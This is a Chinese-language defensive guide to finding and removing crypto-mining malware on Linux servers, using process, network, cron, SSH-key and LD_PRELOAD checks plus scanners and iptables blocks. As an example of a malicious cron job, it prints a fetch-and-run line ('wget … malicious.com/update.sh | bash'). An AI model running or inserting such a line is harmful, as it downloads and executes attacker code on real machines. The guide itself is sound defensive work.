本文目录导读:

检测服务器或主机是否被挖矿病毒(通常指恶意加密货币挖矿程序)感染,可以通过以下系统化的 案例检测方法 进行排查,挖矿病毒通常会占用大量CPU/GPU资源,并具有异常的网络通信行为。
以下是一个典型的检测流程,配合实际操作命令(以Linux系统为例,Windows可类比):
第一阶段:直观检测(资源异常)
案例现象:系统变慢、风扇狂转、电脑发热严重。
-
检查CPU使用率(最核心指标)
# 查看CPU占用最高的进程 top -c # 或 htop
- 异常特征:发现某个进程(如
java、httpd、mysql、systemd等伪装名)的CPU占用率接近 100% 甚至 1000%(多核),且长时间居高不下。 - 案例:某个名为
java的进程占用了800%的CPU,但服务器上根本没有Java服务。
- 异常特征:发现某个进程(如
-
检查网络流量
# 查看网络连接(重点关注ESTABLISHED状态和SYN_SENT状态) netstat -antp # 或 ss -antp
- 异常特征:发现大量非业务端口的出站连接,特别是连接 4444、3333、14444、8080、8444(常见矿池端口)或访问某些不常见的IP地址(如俄罗斯、乌克兰、荷兰等IP)。
- 案例:服务器正在向
xmr.pool.minergate.com:3333发起大量连接。
-
检查GPU使用率(若为图形服务器)
nvidia-smi
- 异常特征:GPU利用率(Volatile GPU-Util)高达95%以上,且无相关AI训练或渲染任务。
第二阶段:进程与文件检测(定位元凶)
案例现象:发现了可疑的高CPU进程,但不知道它在哪里。
-
追踪可疑进程的启动路径
# 根据PID(进程ID)查找启动命令和文件位置 ls -l /proc/[PID]/exe cat /proc/[PID]/cmdline
- 案例:
/proc/12345/exe指向/tmp/.X11-unix/下的一个隐藏文件或随机字符串文件。
- 案例:
-
检查隐藏目录与临时目录
- 常见藏身地:
/tmp//var/tmp//dev/shm/(内存文件系统,系统重启后消失)/usr/lib/或/lib/下的伪装名文件- 用户目录下的
~/.config/或~/.cache/
- 命令:
find /tmp /var/tmp /dev/shm -type f -executable -name "*" 2>/dev/null(查找所有可执行文件,重点关注近期创建的)。
- 常见藏身地:
-
检查恶意计划任务(持久化)
crontab -l # 或者检查系统级计划任务 cat /etc/crontab cat /var/spool/cron/*
- 案例:发现一条
* * * * * wget -q -O - http://malicious.com/update.sh | bash的计划任务,每1分钟执行一次下载并运行脚本。
- 案例:发现一条
第三阶段:安全分析(根因与清理)
案例现象:找到了病毒文件,但杀不死,或者重启后卷土重来。
-
检查SSH密钥与公钥
- 挖矿病毒常通过植入SSH公钥实现持久化。
cat ~/.ssh/authorized_keys
- 异常特征:出现未知公钥,通常包含矿池地址的注释或恶意名称。
- 挖矿病毒常通过植入SSH公钥实现持久化。
-
检查LD_PRELOAD与系统库劫持
- 有些病毒会加载恶意动态库,隐藏自身进程。
# 查看环境变量 cat /proc/[PID]/environ | tr '\0' '\n' | grep LD_PRELOAD # 检查 /etc/ld.so.preload 文件 cat /etc/ld.so.preload
- 案例:
LD_PRELOAD指向/lib/libprocesshider.so,该库会拦截ps、top命令,不显示病毒进程。
- 有些病毒会加载恶意动态库,隐藏自身进程。
-
检查网络连接与系统服务
- 病毒可能注册为系统服务。
systemctl list-units --type=service --state=running | grep -v "enabled" # 查看所有运行的服务 ls -la /etc/systemd/system/multi-user.target.wants/
- 病毒可能注册为系统服务。
第四阶段:自动化检测工具(推荐)
如果手动排查太复杂,可以使用专门的检测工具:
-
Chkrootkit / Rkhunter(检测Rootkit)
# chkrootkit apt-get install chkrootkit chkrootkit | grep INFECTED # rkhunter rkhunter --check --skip-keypress | grep -i warning
-
ClamAV(开源杀毒)
apt-get install clamav clamav-daemon freshclam # 更新病毒库 clamscan -r / --exclude-dir=/sys --exclude-dir=/proc
-
在线沙箱分析(用于可疑文件)
- 将可疑二进制文件上传至 VirusTotal 或 微步在线云沙箱 进行静态和动态分析。
第五阶段:应急处置(反制)
案例:确认感染后,阻断恶意连接。
-
阻止矿池通信
- 在防火墙(如iptables)中屏蔽已知矿池IP和端口。
iptables -A OUTPUT -d xmr.pool.minergate.com -j DROP # 或直接阻止所有挖矿常见端口 iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 4444 -j DROP # ... 其他端口
- 在防火墙(如iptables)中屏蔽已知矿池IP和端口。
-
查杀与清理
- 先终止进程:
kill -9 [PID] - 再删除文件:
rm -rf /path/to/malware - 清除计划任务:
crontab -r(或手动编辑删除) - 移除SSH恶意公钥
- 重要:清理后建议修改所有用户密码及SSH密钥。
- 先终止进程:
一套快速的“案例检测指令组合”
# 1. 看进程
top -c -b -n 1 | head -30
# 2. 看网络
netstat -antp | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -rn | head -10
# 3. 看计划任务
cat /etc/crontab
crontab -l
# 4. 看目录
ls -la /tmp/ /dev/shm/ /var/tmp/ | grep -E "^-r.x|x.x|x.r.?"
# 5. 看系统库
cat /etc/ld.so.preload 2>/dev/null
核心原则:CPU 100% + 陌生网络连接 + 隐藏文件/临时目录,三项同时具备则基本可以判定为挖矿病毒。